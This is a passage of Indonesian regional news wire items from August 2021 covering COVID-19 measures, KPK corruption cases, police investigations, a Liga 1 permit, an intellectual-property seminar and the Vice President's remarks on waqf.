COVID-19 untuk pasien usia 31-45 tahun selama Juli 2021. “Angkanya cukup melonjak. Karena di bulan Juli terjadi kasus kematian di usia 31-45 tahun sebanyak 5.159 orang, padahal bulan sebelumnya hanya ada 964 kasus. Peningkatan juga terjadi di kelompok usia 46-59 tahun, dengan total 13.694 orang. Naik lima kali lipat,” katanya. (sws)

KPK Periksa Tersangka Kasus Suap Pajak Dadan Ramdani

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Jumat memeriksa mantan Kepala Subdirektorat Kerjasama dan Dukungan Pemeriksaan Direktorat Jenderal Pajak Dadan Ramdani (DR). Dadan diperiksa dalam kapasitas sebagai tersangka kasus dugaan suap terkait dengan pemeriksaan perpajakan tahun 2016 dan 2017 pada Direktorat Jenderal Pajak. "Hari ini, tim penyidik memanggil tersangka DR dalam perkara dugaan tindak pidana korupsi penerimaan hadiah atau janji terkait dengan pemeriksaan perpajakan tahun 2016 dan 2017 pada Direktorat Jenderal Pajak," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Jumat. Ali mengatakan tersangka Dadan telah hadir di Gedung KPK, Jakarta dan saat ini masih diperiksa tim penyidik KPK. "Perkembangan akan diinfokan lebih lanjut," kata Ali. KPK pada 4 Mei 2021 telah menetapkan enam tersangka kasus tersebut. Sebagai penerima, yaitu mantan Direktur Pemeriksaan dan Penagihan Direktorat Jenderal Pajak Angin Prayitno Aji (APA) dan Dadan Ramdani (DR). Sedangkan sebagai pemberi, yakni kuasa wajib pajak Veronika Lindawati (VL) serta tiga konsultan pajak masing-masing Ryan Ahmad Ronas (RAR), Aulia Imran Maghribi (AIM), dan Agus Susetyo (AS). Dari enam orang tersebut, baru Angin yang ditahan KPK sejak 4 Mei 2021 lalu. Dalam konstruksi perkara, KPK menduga Angin dan Dadan menyetujui, memerintahkan, dan mengakomodir jumlah kewajiban pembayaran pajak yang disesuaikan dengan keinginan dari wajib pajak atau pihak yang mewakili wajib pajak. Keduanya diduga menerima suap puluhan miliar terkait pemeriksaan pajak terhadap tiga wajib pajak, yaitu PT Gunung Madu Plantations untuk tahun pajak 2016, PT Bank PAN Indonesia Tbk untuk tahun pajak 2016, dan PT Jhonlin Baratama untuk tahun pajak 2016 dan 2017. Adapun rinciannya, yakni pada Januari-Februari 2018 dengan jumlah keseluruhan sebesar Rp15 miliar diserahkan oleh Ryan dan Aulia sebagai perwakilan PT Gunung Madu Plantations. Pertengahan tahun 2018 sebesar 500 ribu dolar Singapura yang diserahkan oleh Veronika sebagai perwakilan PT Bank PAN Indonesia Tbk dari total komitmen sebesar Rp25 miliar. Selanjutnya, dalam kurun waktu Juli-September 2019 sebesar total 3 juta dolar Singapura diserahkan oleh Agus sebagai perwakilan PT Jhonlin Baratama. Atas perbuatannya, Angin dan Dadan sebagai penerima disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. Sedangkan empat tersangka lainnya sebagai pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) ke-1 KUHP.(sws)

Polres Purbalingga Dalami Peran Oknum Polisi Terlibat Narkoba

Purbalingga, FNN - Kepolisian Resor (Polres) Purbalingga, Jawa Tengah, masih mendalami peran WS (45), oknum polisi yang ditangkap Badan Narkotika Nasional Kabupaten (BNNK) Purbalingga karena terlibat dalam kasus peredaran narkoba jenis sabu-sabu. Jika keterlibatan WS tergolong berat, sanksi yang akan diberikan berupa pemecatan, kata Kepala Polres Purbalingga Ajun Komisaris Besar Polisi Fannky Ani Sugiharto saat dikonfirmasi wartawan di Purbalingga, Jumat. "Kami akan bertindak tegas kepada anggota Polri yang terlibat atau menggunakan narkoba," katanya. WS (45) merupakan anggota Satuan Samapta Bhayangkara (Sabhara) Polres Purbalingga berpangkat Ajun Inspektur Polisi Satu (Aiptu). "Saat ini masih kami proses. Kemarin diproses di BNNK," kata Fannky. Ia mengatakan sesuai dengan kode etik kepolisian, pihaknya akan memproses WS untuk mengetahui yang bersangkutan bertindak sebagai apa dalam kasus tersebut. Seperti diwartakan, BNNK Purbalingga bekerja sama dengan Badan Narkotika Nasional Provinsi (BNNP) Jawa Tengah dan BNNK Banyumas menangkap dua pelaku dalam kasus peredaran gelap narkoba di Kabupaten Purbalingga. Saat menggelar konferensi pers di Kantor BNNK Purbalingga, Jumat (13/8), Kepala BNNK Purbalingga AKBP Sharlin Tjahaja Frimer Arie mengatakan pihaknya menangkap WS (45) dan SP (42) serta mengamankan barang bukti sabu-sabu dengan berat kotor lebih kurang 0,56 gram. Ia mengakui salah seorang pelaku merupakan oknum polisi. Akan tetapi dia tidak berkenan menyebutkan institusi oknum polisi yang diketahui sebagai pengguna narkoba tersebut. (sws)

Gubernur Kepri Prihatin Bupati Bintan Jadi Tersangka KPK

Bintan, FNN - Gubernur Kepri Ansar Ahmad prihatin Bupati Bintan Apri Sujadi menjadi tersangka KPK atas dugaan tindak pidana korupsi pengaturan barang kena cukai dalam pengelolaan kawasan perdagangan bebas dan pelabuhan bebas (KPBPB) Kabupaten Bintan tahun 2016-2018. "Mari kita doakan bersama supaya proses hukum yang dijalani Pak Apri Sujadi dimudahkan oleh Allah SWT," kata Ansar di Tanjungpinang, Jumat. Ansar mengharapkan penetapan tersangka Apri Sujadi tidak mempengaruhi jalannya roda Pemerintahan Kabupaten Bintan. Dia segera berkonsultasi dengan Biro Hukum Pemprov Kepri menyangkut mekanisme penunjukan pengganti Bupati Bintan selama yang bersangkutan menghadapi proses hukum. "Kita tanya dulu ke Biro Hukum, nanti mekanismenya seperti apa, segera ditindaklanjuti," ucap Ansar. Lebih lanjut Ansar mengingatkan kepada seluruh kepala daerah kabupaten/kota dan ASN di wilayah Provinsi Kepri berhati-hati dalam bekerja agar jangan sampai menyalahi aturan dan ketentuan yang berlaku. "Kadang kala niat baik kita bekerja, hasilnya belum tentu baik. Perlu saling mengingatkan satu sama lain agar kejadian seperti ini tidak terulang lagi," demikian Ansar. Berdasarkan hasil penyelidikan KPK, tersangka Apri Sujadi dari tahun 2017 hingga 2018 diduga menerima uang sekitar sejumlah Rp6,3 Miliar. Untuk kepentingan penyidikan, Tim Penyidik KPK telah melakukan upaya paksa penahanan terhadap Apri Sujadi selama 20 hari ke depan terhitung sejak tanggal 12 Agustus 2021 sampai dengan 31 Agustus 2021. Selain Bupati Bintan, KPK juga menahan tersangka Muhammad Saleh Umar selaku Plt Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan. (sws)

Densus 88 Geledah Rumah Terduga Teroris di Purwokerto

Purwokerto, FNN - Tim Detasemen Khusus 88 Antiteror menggeledah sebuah rumah milik seorang terduga teroris di Purwokerto, Kabupaten Banyumas, Jawa Tengah. Informasi yang dihimpun ANTARA di Purwokerto, Jumat, Tim Densus 88 yang didampingi petugas Kepolisian Resor Kota (Polresta) Banyumas mendatangi rumah bernomor 21B, Gang IV, Jalan A Yani, Kelurahan Kedungwuluh RT 02 RW 07, Kecamatan Purwokerto Barat, Kabupaten Banyumas, sekitar pukul 10.00 WIB. Setelah melakukan penggeledahan selama lebih kurang satu jam, Tim Densus 88 meninggalkan rumah itu sekitar pukul 11.00 WIB. Saat ditemui wartawan, Ketua RT 02 RW 07 Sudiarso mengatakan rumah yang didatangi Densus 88 itu milik seorang pria berinisial Yl (37) yang sejak kecil tinggal di daerah itu. "Tadi saya diminta ikut menyaksikan, ada lebih dari lima petugas yang melakukan penggeledahan. Yl tidak ada di tempat, yang ada hanya istri dan anaknya," katanya. Usai melakukan penggeledahan, kata dia, Tim Densus 88 membawa satu unit laptop dan kartu tanda penduduk dari rumah tersebut. Terkait dengan pekerjaan yang ditekuni Yl, dia mengatakan pria itu kesehariannya berjualan kue buatan istrinya. Saat dikonfirmasi wartawan, Kepala Polresta Banyumas Komisaris Besar Polisi M Firman L Hakim membenarkan adanya penggeledahan yang dilakukan oleh Tim Densus 88 terhadap sebuah rumah di Purwokerto. "Kami hanya membantu pengamanannya saja. Terkait teknisnya, kami tidak tahu," katanya. (sws)

600 Paket Bahan Makan Berprotein Dibagikan ke Warga Isoman di Magelang

Magelang, FNN - Sebanyak 600 paket bahan makanan berprotein hewani dibagikan kepada masyarakat terdampak pandemi COVID-19, khususnya mereka yang menjalani isolasi mandiri di Kecamatan Tempuran, Kabupaten Magelang, Jawa Tengah. Bantuan paket bahan makanan berprotein hewani dari PT Japfa Comfeed Indonesia Tbk ini secara simbolis diterima oleh Camat Tempuran Yuvita Isni Kadratin di Aula Kantor Kecamatan Tempuran, Jumat. Kepala Unit PT Ciomas Adisatwa (anak perusahaan PT Japfa) Magelang Budi Suwiknyo mengatakan kegiatan bakti sosial ini merupakan program Japfa Peduli di tengah COVID-19. "Japfa peduli menyampaikan sumbangan yang merupakan bagian dari produk Japfa, yaitu asupan protein asal hewan berupa telur dan daging ayam," katanya. Ia mengharapkan bantuan ini dapat meringankan beban masyarakat yang terdampak pandemi, khususnya mereka yang menjalani isoman di rumah. "Semoga bantuan ini dapat membantu mereka yang menjalani isoman di rumah, dengan asupan protein hewani ini semoga bisa menambah imunitas," katanya. Ia menyampaikan bantuan serupa selain dilakukan di Tempuran, Kabupaten Magelang, untuk Jawa Tengah juga dilakukan di Pemalang, Semarang, Salatiga, dan Yogyakarta. Dia mengatakan untuk Kecamatan Tempuran, sebelumnya juga dibagikan bantuan 300 paket bahan makanan berprotein hewani kepada warga yang menjalani vaksinasi di Kecamatan Tempuran. Ia mengatakan kegiatan ini wujud komitmen perusahaan untuk terus mendukung pemerintah dalam menghadapi pandemi dan memutus rantai penularan COVID-19. Camat Tempuran Yuvita Isni Kadratin menyampaikan terima kasih atas bantuan PT Ciomas Adisatwa kepada warga setempat. "Bantuan berupa paket telur dan daging ayam ini mengandung protein cukup tinggi sehingga sangat mendukung untuk pemulihan kesehatan bagi warga yang tengah menjalani isoman," katanya. Ia berharap, kegiatan ini bisa mendorong perusahaan lain di Tempuran untuk melakukan hal yang sama. (sws)

Polri Sudah Berikan Izin Liga 1

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) sudah memberikan izin keramaian penyelenggaraan kompetisi Liga 1 2021-2022 yang dimulai tanggal 27 Agustus 2021 mendatang. Pemberian izin Liga 1 oleh Polri ini dibenarkan Kepala Divisi Humas Mabes Polri Irjen Pol Argo Yuwono saat dikonfirmasi di Jakarta, Jumat. "Izin sudah diberikan," kata Argo melalui pesan obrolan instan kepada ANTARA. Namun Argo tidak menjelaskan secara detail kapan izin keramaian tersebut diberikan resminya. Akan tetapi izin keramaian tersebut tentunya telah mengantongi rekomendasi dari Satgas Penanganan COVID-19, mengingat kompetisi sepak bola tersebut berlangsung di masa pandemi. Dalam penerbitan izin ini Polri berkoordinasi dengan Kementerian Pemuda dan Olahraga, Badan Nasional Penanggulangan Bencana (BNPB)/Satgas Penanganan COVID-19, dan Kementerian Kesehatan. Terbitnya izin Liga 1 dari Kapolri Jenderal Pol Listyo Sigit Prabowo juga diungkapkan oleh Ketua Persatuan Sepak Bola Seluruh Indonesia (PSSI) Mochamad Iriawan pada Kamis (12/8) kemarin. "Kami berterima kasih kepada Pak Kapolri yang sudah menurunkan izin keramaian dan disampaikan kepada kami melalui Asops Kapolri (Irjen Pol. Imam Sugianto-red)," kata Iriawan dalam peluncuran BRI Liga 1 Indonesia 2021-2022 secara virtual di Jakarta. Menurut dia, Kapolri turut mengawal persiapan Liga 1 Indonesia musim ini. Selain itu, Kapolri juga menjadi salah seorang yang meminta jadwal awal Liga 1 2021-2022 dimundurkan tujuh hari, dari seharusnya 20 Agustus menjadi 27 Agustus 2021. BRI Liga 1 Indonesia musim 2021-2022 akan digelar mulai 27 Agustus 2021 hingga Maret 2022 dengan protokol kesehatan yang ketat. Formatnya tidak berubah dari rencana semula digelar dalam enam seri dengan pertandingan berlangsung di tiga klaster wilayah Pulau Jawa. Semua pertandingan nantinya berlangsung tanpa penonton di stadion. Setelah kepastian Liga 1, berikutnya PSSI dan LIB akan menggulirkan Liga 2, namun waktu pelaksanaan dan teknis penyelenggaraan baru dipastikan kemudian. (sws)

Stafsus Presiden Koordinasikan Kebutuhan Difabel Saat Vaksinasi

Jakarta, FNN - Staf Khusus Presiden Angkie Yudistia melakukan koordinasi dengan Kementerian Kesehatan (Kemenkes) dan Dinas Kesehatan (Dinkes) terkait kebutuhan dari ragam penyandang disabilitas (difabel) saat vaksinasi. “Saya sudah berkoordinasi dengan beberapa pihak tentang kebutuhan penyandang disabilitas,” kata kata Angkie Yudistia dalam seminar daring bertajuk Pemenuhan Hak dan Perlindungan Penyandang Disabilitas Saat Pandemi, Jumat. Koordinasi tersebut akan disampaikan kepada para vaksinator dan panitia vaksinasi agar berbagai lokasi vaksinasi dapat menangani penyandang disabilitas dengan tepat. Angkie juga menjelaskan bahwa terdapat berbagai kebutuhan penyandang disabilitas yang harus diakomodir. Oleh karena itu, panitia pelaksana program vaksinasi harus dapat memahami dasar-dasar sensitivitas disabilitas berdasarkan ragam disabilitas yang dimiliki. Untuk disabilitas fisik, dibutuhkan fasilitas yang mudah diakses. Contohnya, pengguna kursi roda dan tongkat kruk (tongkat ketiak) tidak bisa mengakses tangga, sehingga panitia penyelenggara harus menyediakan tanjakan yang memadai. Selanjutnya, untuk disabilitas intelektual dan mental akan membutuhkan tenaga pendamping yang terlatih. Oleh karena itu, Angkie meminta agar para panitia menyediakan tenaga pendamping di lokasi vaksinasi. “Dapat bekerja sama dengan berbagai stakeholders, utamanya adalah organisasi atau komunitas penyandang disabilitas,” ucap pendiri ThisAble Enterprise tersebut. Kemudian, untuk disabilitas sensorik dibagi menjadi dua kebutuhan. Pertama, untuk tunanetra dapat disediakan fasilitas audio yang memadai dan memastikan semua informasi dapat didengar oleh para penyandang tunanetra. Panitia juga bisa menyediakan tanda alur vaksinasi yang jelas bagi penderita gangguan penglihatan sehingga tanda alur vaksinasi masih dapat terlihat. “Untuk tunarungu dapat disediakan tenaga juru bahasa isyarat agar dapat berinteraksi dengan jelas kepada mereka,” tuturnya. Selain melakukan koordinasi dengan Kementerian Kesehatan dan Dinas Kesehatan, Angkie Yudistia juga melakukan koordinasi dengan Kementerian Sosial dan Dinas Sosial untuk menjangkau target sasaran pendataan penyandang disabilitas terkait percepatan vaksinasi dan penyaluran bantuan sosial. “Kami juga merekomendasikan kolaborasi aktif dengan organisasi penyandang disabilitas di daerah masing-masing,” ucapnya. Ia juga berkoordinasi dengan Kementerian Dalam Negeri dan Dinas Kependudukan dan Catatan Sipil (Dukcapil) untuk mempercepat proses pembuatan dokumen kependudukan. “Agar setelah selesai vaksin kedua, para penyandang disabilitas sudah mempunyai NIK yang bisa diinput ke sistem Kementerian Kesehatan,” kata Angkie. (sws)

Pemkab Dairi Jadikan TWI Tempat Isoter Pasien COVID-19

Sidikalang, FNN - Pemkab Dairi, Sumatera Utara, menjadikan lokasi wisata Taman Wisata Iman (TWI) di Kecamatan Sitinjo sebagai tempat pusat karantina dan isolasi terpadu sebagai upaya memaksimalkan penanganan pasien positif COVID-19. Ketua Satgas Penanganan COVID-19 sekaligus Bupati Dairi, Dr. Eddy Kelleng Ate Berutu di Sidikalang, Jumat, mengatakan tempat dan lokasi tersebut adalah tempat wisata yang jadi andalan Kabupaten Dairi, namun karena COVID-19 terpaksa digunakan sebagai pusat isolasi terpadu. "Tempat isolasi terpusat sudah dilengkapi tenaga medis seperti dokter, perawat, hingga layanan oksigen, obat-obatan, dan konsumsi pasien yang disediakan secara gratis," katanya. Dalam kesempatan itu ia menyampaikan rasa prihatin bahwa COVID-19 tidak hanya menyebabkan warga susah karena penularannya namun juga menyebabkan pembatasan kegiatan sosial yang berdampak pada ekonomi. Pandemi ini telah mengakibatkan penurunan pendapatan warga. "Kita harus melibatkan masyarakat dalam pelaksanaannya. Jadi bila memungkinkan kebutuhan warga yang diisolasi juga bisa kita andalkan dari warga sekitar, seperti suplai makanan, untuk membantu menambah penghasilan mereka". "Kita mengupayakan untuk memberdayakan masyarakat sekitar. Terimakasih kami ucapkan bagi warga Sitinjo, wilayahnya kita gunakan sebagai pusat karantina. Mari bersama-sama kita pastikan fasilitas ini berjalan dengan baik dengan harapan warga kita bisa segera sembuh. Terimakasih juga buat nakes atas dedikasi yang diberikan semoga Tuhan meridhoi apa yang kita lakukan," katanya. Sebelumnya Kepala Dinas Kesehatan dairi, Ruspal Simarmata, menyebutkan Pusat Karantina dan Isolasi Terpadu Covid-19 di TWI didukung dengan tenaga kesehatan (nakes) sebanyak 14 orang yang terdiri dari dua orang dokter dan 12 orang perawat. Kasus peningkatan penyebaran COVID-19 di Kabupaten Dairi masuk dalam level 3 dan ada 382 kasus hingga saat ini. Sehingga dinilai sangat dibutuhkan rumah isolasi dan ruang karantina apabila rumah tempat tinggal warga tidak mendukung dalam penanganannya. "Kapasitas pusat isolasi terdiri dari enam kamar 12 bed dan ruang karantina enam kamar dengan 16 bed," katanya. (sws)

Bulan Inovasi UI Bahas Perlindungan Kekayaan Intelektual Peneliti

Depok, FNN - Bulan Inovasi Direktorat Inovasi dan Science Techno Park Universitas Indonesia (UI) yang dilaksanakan pada 9-13 Agustus 2021 secara daring membahas perlindungan kekayaan intelektual untuk karya inovasi dan kreativitas peneliti. Direktur Paten, Desain Tata Letak Sirkuit Terpadu (DTLST), dan Rahasia Dagang, Kementerian Hukum dan HAM RI, Dra. Dede Mia Yusanti dalam keterangannya di Depok, Jumat mengatakan selain paten ataupun hak cipta maupun merek, yang bisa dimanfaatkan untuk melindungi karya inovasi dan kreativitas dari dosen, peneliti, maupun mahasiswa. Dede Mia memaparkan bahwa jenis hak kekayaan intelektual (HKI) Indonesia terbagi dua, yaitu komunal dan personal. HKI komunal meliputi sumber daya genetik, ekspresi budaya tradisional, pengetahuan tradisional, dan indikasi geografis. Sedangkan HKI personal terbagi lagi menjadi dua, yakni Hak Cipta & Hak Terkait dan HKI industri yang meliputi paten (invensi teknologi), merek (pembeda produk/jasa), desain industri (desain produk), rahasia dagang, desain tata letak sirkuit terpadu (DTLST), dan perlindungan varietas tanaman (PVT). Secara umum perlindungan terhadap HKI terbagi tiga, katanya, yaitu secara konstitutif, deklaratif, dan yang sifatnya dilindungi karena kerahasiaan. Perlindungan yang diberikan secara konstitutif meliputi paten, merek, desain industri, DTLST, indikasi geografis, dan PVT, dimana prinsip pendaftarannya adalah first to file. Kemudian, sistem deklaratif perlindungannya diberikan untuk Hak Cipta dan Hak Terkait, dan secara otomatis terdaftar sejak diekspresikan/diumumkan oleh pencipta, dan yang terakhir adalah perlindungan kerahasiaan yang diberikan untuk rahasia dagang seperti resep produk (komposisi, proses, dan lainnya) selama rahasia terjaga. Produk yang dilindungi Hak Cipta dan Hak Terkait berdasarkan UU No 28 tahun 2014 adalah buku & karya tulis, musik & lagu, karya seni rupa, fotografi, audio visual, drama & koreografi, program komputer, dan lainnya. "Hak Terkait adalah hak yang berkaitan dengan Hak Cipta yang merupakan hak eksklusif bagi pelaku pertunjukan, produser fonogram, atau lembaga penyiaran. Hak eksklusif dalam perlindungan Hak Cipta meliputi hak moral (hak atribusi) seperti kutipan dalam karya tulis seseorang yang digunakan oleh orang lain, dan hak ekonomi (hak komersialisasi/pemanfaatan ciptaan)," ujar Dede. UU Nomor 31 tahun 2000 tentang Desain Industri, mendefinisikan desain industri sebagai suatu kreasi bentuk, kongurasi, atau komposisi garis dan warna yang memberikan kesan estetis pada suatu produk, komoditas industri, maupun kerajinan tangan. Desain industri bisa berbentuk tiga atau dua dimensi. Desain yang telah didaftarkan akan mendapat perlindungan selama 10 tahun sejak tanggal penerimaan dan tidak bisa diperpanjang. Kriteria desain yang dapat dilindungi diantaranya tidak bertentangan dengan ideologi negara, moral, agama, peraturan UU, kesusilaan, dan ketertiban umum; memiliki kebaruan dan belum pernah dipublikasikan; desain produk semata-mata karena fungsinya tetapi lebih pada penampilan luar yang terlihat mata (kombinasi seni dan fungsi); bentuk desain konsisten tidak berubah-ubah dan kasat mata; dan dapat diproduksi massal. Tentang Merek, menurut UU Nomor 20 tahun 2016, adalah sebuah tanda untuk membedakan suatu produk barang atau jasa. Merek terdaftar dilindungi selama 10 tahun dan dapat diperpanjang terus setiap 10 tahun. Ada beberapa kriteria permohonan merek yang ditolak oleh DJKI Kemenkumham RI, yaitu jika nama merek hanya menyebutkan jenis barang/jasa yang dimohonkan pendaftarannya seperti mendaftarkan merek jus untuk jenis barang jus; kedua, jika nama merek berkaitan dengan sifat barang/jasa yang dimohonkan pendaftarannya seperti mendaftarkan merek ‘hitam’ untuk kopi; dan jika memiliki persamaan dengan merek milik pihak lain yang lebih dahulu dimohonkan pendaftarannya atau sudah terdaftar, misalnya merek pakai ‘adidaz’ yang memiliki persamaan dengan merek terkenal. "Paten adalah hak eksklusif yang diberikan kepada penemu invensi (inventor) atas hasil invensinya di bidang teknologi, berdasarkan UU Nomor 13 tahun 2016 dan UU Cipta Kerja Nomor 11 tahun 2020," kata Dede. Ia mengatakan bahwa tidak semua invensi merupakan teknologi yang kompleks dan rumit. Ada dua jenis invensi yang lebih sederhana dan praktis, serta bisa mendapatkan paten sederhana yaitu paten dilindungi selama 20 tahun (tidak dapat diperpanjang), dan paten sederhana dilindungi 10 tahun (tidak dapat diperpanjang). Tiga kriteria produk yang dapat dipatenkan adalah invensi memiliki nilai kebaruan atau pengembangan dari teknologi sebelumnya; memiliki langkah inventif; dan invensi dapat diterapkan di industri. (sws)

Polisi Palangka Raya Periksa Wanita Terduga Pemalsuan Dokumen PCR

Palangka Raya, FNN - Seorang wanita berinisial SAM (20) yang diduga memalsukan dokumen polymerase chain reaction (PCR) dan telah diamankan oleh pihak Bandara Tjilik Riwut Kota Palangka Raya, Kalimantan Tengah, terancam hukuman kurungan penjara empat tahun kini dalam pemeriksaan secara intensif pihak kepolisian setempat. Kasat Reskrim Polresta Palangka Raya Kompol Todoan Gultom Agung, Jumat, mengatakan SAM kini sedang menjalani pemeriksaan intensif oleh penyidik Satuan Reserse Kriminal Polresta setempat terkait perbuatan yang dilakukannya itu. "Wanita itu terbukti melakukan pemalsuan dokumen PCR saat hendak berangkat ke Jakarta di Bandara Tjilik Riwut, dan yang bersangkutan dikenakan Pasal 268 ayat 1 dan 2," kata Gultom. Perwira Polri berpangkat melati satu itu menjelaskan, sebelum diamankan oleh petugas bandara hingga diserahkan ke Polresta Palangka Raya, awalnya SAM bersama suaminya TW (59) yang tercatat sebagai warga Malaysia itu sekitar pukul 11.00 WIB menyerahkan hasil tes PCR miliknya ke petugas yang sedang bertugas. Petugas saat itu mencocokkan hasil barcode yang tertera di surat PCR milik SAM bersama suaminya. Ternyata hasil dari pemeriksaan petugas suaminya TW hasilnya negatif dan SAM warga Kota Surabaya Provinsi Jawa Timur itu positif. Melihat hal tersebut, wanita yang memiliki rambut panjang dan berwarna pirang tersebut langsung diserahkan ke pihak Satreskrim Polresta Palangka Raya. "Saat dilakukan pemeriksaan oleh penyidik, yang bersangkutan mengakuinya bahwa merubah surat hasil PCR dari RSUD dr Doris Sylvanus Palangka Raya berubah dari positif menjadi negatif dengan menggunakan handphonenya," katanya. Kemudian, sambung Gultom, dia juga sudah menjelaskan kepada penyidik cara yang bersangkutan merubah bukti surat PCR tersebut dari positif menjadi negatif. Sedangkan surat dokumen PCR milik suaminya negatif. Atas perbuatannya itu SAM harus berurusan dengan polisi terkait hal tersebut. Namun, untuk suaminya, hanya sebagai saksi dari kasus tersebut. Penyidik Polresta Palangka Raya melakukan pemeriksaan terhadap wanita asal Kota Surabaya tersebut, tetap menerapkan protokol kesehatan dan menjaga jarak dengan terduga pelaku pemalsu dokumen PCR. (sws)

BPJS Kesehatan: 1,2 Juta Warga Jateng Pemilik Komorbid Belum Divaksin

Semarang, FNN - BPJS Kesehatan mencatat sekitar 1,2 juta warga Jawa Tengah yang termasuk dalam kategori rentan karena memiliki komorbid atau penyakit bawaan belum divaksin COVID-19. Direktur Jaminan Pelayanan Kesehatan BPJS Kesehatan Lily Kresnowati di sela vaksinasi untuk kelompok rentan di Semarang, Jumat, mengatakan jumlah tersebut bagian dari 1,6 juta penduduk Jawa Tengah peserta Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS) yang masuk dalam kategori kelompok rentan. "Kami punya data lengkap. Mereka secara rutin mengikuti program pengelolaan penyakit kronis di masing-masing fasilitas kesehatan tingkat pertama," katanya. Dia menjelaskan vaksinasi bagi kelompok rentan ini bersamaan dengan pengecekan kesehatan saat program pengelolaan penyakit kronis. Ia menjelaskan vaksinasi bagi kelompok rentan yang terdata sebagai peserta JKN-KIS di Jawa Tengah ini merupakan yang pertama. "Kami membantu pemerintah untuk menemukan warga yang masuk dalam kelompok rentan ini agar bisa mendapat prioritas dalam pelaksanaan vaksinasi," katanya. Vaksinasi yang dilakukan persamaan dengan pelaksanaan program pengelolaan penyakit kronis ini, kata dia, untuk memudahkan mobilitas penerima vaksin. "Jawa Tengah ini yang pertama. Kalau sukses, bisa diterapkan di wilayah lainnya," katanya. Pelaksanaan vaksinasi untuk.kelompok rentan di Kota Semarang ini di tiga lokasi yang berbeda sebagai permulaan. Gubernur Ganjar Pranowo dalam kesempatan itu menjelaskan konsep vaksinasi bagi kelompok rentan sudah lama disiapkan. "Ternyata BPJS ada datanya dan terdeteksi," katanya. Selain vaksinasi yang digelar bersamaan dengan program pengelolaan penyakit kronis yang dilaksanakan secara berkala, ia juga meminta penelusuran warga kelompok rentan berdasarkan data BPJS ini dilakukan secara "jemput bola" oleh puskesmas. "Harapannya bisa melindungi kelompok yang mempunyai komorbid ini karena rata-rata usianya sudah tua," katanya. Ia mengungkapkan banyaknya angka kematian akibat COVID-19 paling tinggi disebabkan komorbid, usia tua, dan belum divaksin. (sws)

Wapres: Selain Ibadah, Wakaf Berperan Dorong Pembangunan Negara

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengatakan wakaf memiliki peran penting untuk mewujudkan kesejahteraan masyarakat dan mendorong pertumbuhan ekonomi negara untuk pembangunan nasional, selain sebagai sarana umat beribadah. "Wakaf tidak hanya berfungsi sebagai sarana ibadah untuk mendekatkan diri kepada Allah, namun juga memiliki peran yang penting sebagai dana abadi umat untuk mewujudkan kesejahteraan sosial sekaligus mendorong pertumbuhan perekonomian negara," kata Wapres saat memberikan arahan pada acara Gerakan Sadar Wakaf: Sumatera Berwakaf secara virtual, Jumat. Manfaat wakaf untuk pembangunan tersebut telah dibuktikan di beberapa negara, seperti Amerika Serikat, Singapura, Thailand, Kuwait dan Mesir. Di Amerika Serikat, masyarakat muslim membentuk Kuwait Awqaf Public Foundation (KAPF), sedangkan di negara lain juga ada organisasi serupa. "Peran dan manfaat wakaf yang begitu besar telah dirasakan oleh negara-negara di dunia; manfaat wakaf terus berkelanjutan dan mendukung target Sustainable Development Goals 2030 yaitu, mengurangi kemiskinan," jelas Wapres. Sementara itu di Mesir, dana wakaf dikembangkan melalui investasi infrastruktur seperti pengelolaan terusan Suez dan untuk pembiayaan pengembangan Universitas Al-Azhar. "Di Kuwait, dana wakaf terus berkembang dalam berbagai proyek investasi pembangunan properti, pertokoan, pemukiman selain masjid-masjid," tukasnya. Bahkan di Indonesia, lanjut Wapres, gerakan wakaf pernah dilakukan oleh masyarakat Aceh untuk membeli pesawat pertama kali di Indonesia, kata Wapres. "Pada awal kemerdekaan Indonesia, gerakan wakaf pernah dilakukan oleh masyarakat Aceh berupa pembelian pesawat pertama Republik Indonesia, yang kemudian menjadi cikal bakal Garuda Indonesia," katanya. Oleh karena itu, Wapres berharap masyarakat muslim di Indonesia mulai mengembangkan wakaf yang memberikan manfaat kepada seluruh umat dan pembangunan nasional. "Dengan demikian dana wakaf dapat terus berkembang dan memberikan manfaat kepada umat. Oleh karena itulah, maka wakaf dinamakan sebagai sedekah jariyah yang pahalanya mengalir terus kepada pemberi wakaf atau wakif," ujarnya. (sws)

KSP Apresiasi Inisiatif Penanganan Pandemi di Papua

Jakarta, FNN - Kantor Staf Presiden mengapresiasi inisiatif Dinas Kesehatan di Papua menggerakkan partisipasi anak muda untuk memperkuat upaya penanganan COVID-19 di masyarakat. "KSP mengapresiasi inisiatif yang dilakukan oleh Dinkes menggerakkan partisipasi anak-anak muda untuk memperkuat upaya penanganan COVID-19 di masyarakat," ujar Tenaga Ahli KSP Rini S Modouw dalam keterangan tertulis KSP, di Jakarta, Jumat. Hal tersebut disampaikan Rini seusai memantau penanganan COVID-19 di beberapa wilayah di Kota Jayapura, Papua. Menurut Rini, inisiatif yang dilakukan Dinkes Papua adalah bentuk kolaborasi yang sangat dibutuhkan saat inj. Dia berharap inisiatif tersebut dapat menjadi model untuk daerah-daerah lainnya. Berdasarkan laporan yang diterima tim KSP, penanganan pandemi COVID-19 di Papua tidak hanya gencar dilakukan oleh pemerintah daerah. Sejumlah relawan yang terdiri dari para pemuda dan anggota komunitas religi turut aktif berkontribusi dalam penanganan COVID-19 melalui gerakan Pemuda Anti-COVID-19. Gerakan yang melibatkan kolaborasi antara pemuda Gereja, pemuda Masjid, komunitas masyarakat dan pemerintah daerah ini sudah diinisiasi sejak tahun 2020 oleh Dinas Kesehatan Jayapura dan Dinas Kesehatan Papua. Para relawan ini turun ke lapangan untuk melakukan proses penyemprotan desinfektan di rumah-rumah penduduk, melakukan kampanye imbauan protokol kesehatan 5M, kampanye 